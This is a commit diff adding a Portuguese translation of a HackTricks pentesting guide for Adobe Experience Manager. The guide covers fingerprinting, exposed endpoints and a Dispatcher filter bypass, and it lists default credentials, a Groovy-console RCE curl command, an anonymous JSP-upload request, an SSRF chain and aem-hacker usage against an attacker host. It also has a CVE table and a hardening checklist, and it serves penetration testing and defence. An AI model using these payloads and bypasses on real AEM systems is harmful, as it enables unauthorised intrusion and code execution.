Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex

This commit is contained in:
Translator 2025-07-30 12:13:33 +00:00
parent 37a33fe3cd
commit 3dbf612ee1

View File

@ -1,5 +1,117 @@
{{#include ../../banners/hacktricks-training.md}}
Encontre vulnerabilidades e configurações incorretas com [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
# AEM (Adobe Experience Manager) Pentesting
{{#include ../../banners/hacktricks-training.md}}
> Adobe Experience Manager (AEM, parte do Adobe Experience Cloud) é um CMS corporativo que roda sobre Apache Sling/Felix (OSGi) e um Repositório de Conteúdo Java (JCR).
> Do ponto de vista de um atacante, instâncias do AEM frequentemente expõem endpoints de desenvolvimento perigosos, regras de Dispatcher fracas, credenciais padrão e uma longa lista de CVEs que são corrigidos a cada trimestre.
A lista de verificação abaixo foca na **superfície de ataque (unauth) acessível externamente** que continua aparecendo em engajamentos reais (2022-2025).
---
## 1. Fingerprinting
```
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
```
Outros indicadores rápidos:
* `/etc.clientlibs/` caminho estático presente (retorna JS/CSS).
* `/libs/granite/core/content/login.html` página de login com o banner “Adobe Experience Manager”.
* `</script><!--/* CQ */-->` comentário na parte inferior do HTML.
---
## 2. Endpoints não autenticados de alto valor
Caminho | O que você obtém | Notas
---- | ------------- | -----
`/.json`, `/.1.json` | Nós JCR via **DefaultGetServlet** | Frequentemente bloqueado, mas *Dispatcher bypass* (veja abaixo) funciona.
`/bin/querybuilder.json?path=/` | API QueryBuilder | Vazamento da árvore de páginas, caminhos internos, nomes de usuários.
`/system/console/status-*`, `/system/console/bundles` | Console OSGi/Felix | 403 por padrão; se exposto e credenciais encontradas ⇒ RCE de upload de pacote.
`/crx/packmgr/index.jsp` | Gerenciador de Pacotes | Permite pacotes de conteúdo autenticados → upload de payload JSP.
`/etc/groovyconsole/**` | Console Groovy AEM | Se exposto → execução arbitrária de Groovy / Java.
`/libs/cq/AuditlogSearchServlet.json` | Logs de auditoria | Divulgação de informações.
`/libs/cq/ui/content/dumplibs.html` | Dump de ClientLibs | Vetor XSS.
### Truque de bypass do Dispatcher
A maioria dos sites de produção está atrás do *Dispatcher* (proxy reverso). Suas regras de filtro podem ser contornadas adicionando uma extensão estática permitida **após um ponto e vírgula ou nova linha codificada**:
```
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
```
Uma única solicitação como a acima frequentemente revela nós de perfil de usuário com endereços de e-mail. A P-T Partners publicou boas orientações sobre essa vulnerabilidade. 【】
---
## 3. Configurações incorretas comuns (ainda vivas em 2025)
1. **Servlet POST anônimo** `POST /.json` com `:operation=import` permite que você crie novos nós JCR. Bloquear `*.json` POST no Dispatcher resolve isso. 【】
2. **Perfis de usuário legíveis por todos** ACL padrão concede `jcr:read` em `/home/users/**/profile/*` para todos.
3. **Credenciais padrão** `admin:admin`, `author:author`, `replication:replication`.
4. **WCMDebugFilter** habilitado ⇒ XSS refletido via `?debug=layout` (CVE-2016-7882, ainda encontrado em instalações legadas 6.4).
5. **Console Groovy exposto** execução remota de código ao enviar um script Groovy:
```bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
```
---
## 4. Vulnerabilidades recentes (cadência de pacotes de serviço)
Trimestre | CVE | Afetado | Impacto
------- | --- | -------- | ------
Dez 2024 | **CVE-2024-43711** | 6.5.21 e anteriores | Validação de entrada inadequada → **Execução de código arbitrário** (requer autenticação de baixo privilégio). 【】
Dez 2024 | CVE-2024-43724/26 | 6.5.21 e anteriores | XSS DOM / Armazenado no Assistente de Mover Página. 【】
Dez 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS baseado em DOM via URL manipulada. 【】
Dez 2022 | CVE-2022-30683 | ≤ 6.5.13 | Falha de design criptográfico → descriptografia secreta (necessita de credenciais de baixo privilégio). 【】
Sempre verifique o boletim *APSB* correspondente ao pacote de serviço do cliente e solicite o mais recente **6.5.22** ou *Cloud Service 2024.11*.
---
## 5. Trechos de exploração
### 5.1 RCE via bypass do dispatcher + upload de JSP
Se a gravação anônima for possível:
```
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
```
Agora solicite `/content/evil.jsp` o JSP é executado com o usuário do processo AEM.
### 5.2 SSRF para RCE (histórico < 6.3)
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
`aem_ssrf2rce.py` do **aem-hacker** automatiza toda a cadeia. 【】
---
## 6. Ferramentas
* **aem-hacker** script de enumeração tipo canivete suíço, suporta bypass de dispatcher, detecção de SSRF, verificações de credenciais padrão e mais.
```bash
python3 aem_hacker.py -u https://target --host attacker-ip
```【】
* **Força bruta de conteúdo** solicita recursivamente `/_jcr_content.(json|html)` para descobrir componentes ocultos.
* **osgi-infect** faça upload de um pacote OSGi malicioso via `/system/console/bundles` se as credenciais estiverem disponíveis.
---
## 7. Lista de verificação de endurecimento (para as recomendações do seu relatório)
1. Mantenha a instância na **última atualização cumulativa** (a partir de jul 2025: 6.5.22).
2. Remova/rotacione contas padrão; imponha SSO/SAML.
3. Reforce os **filtros do Dispatcher** negue `;`, quebras de linha codificadas e `*.json` ou `*.querybuilder.json` para usuários anônimos.
4. Desative ou proteja consoles (`/system/console`, `/crx/*`, `/etc/groovyconsole`) com listas de permissão de IP.
5. Aplique o pacote *Endurecimento de Permissão Anônima* enviado pela Adobe.
## Referências
* Adobe Security Bulletin APSB24-69 “Atualizações de segurança para Adobe Experience Manager (dez 2024)”.
* 0ang3el ferramenta aem-hacker (GitHub).
{{#include ../../banners/hacktricks-training.md}}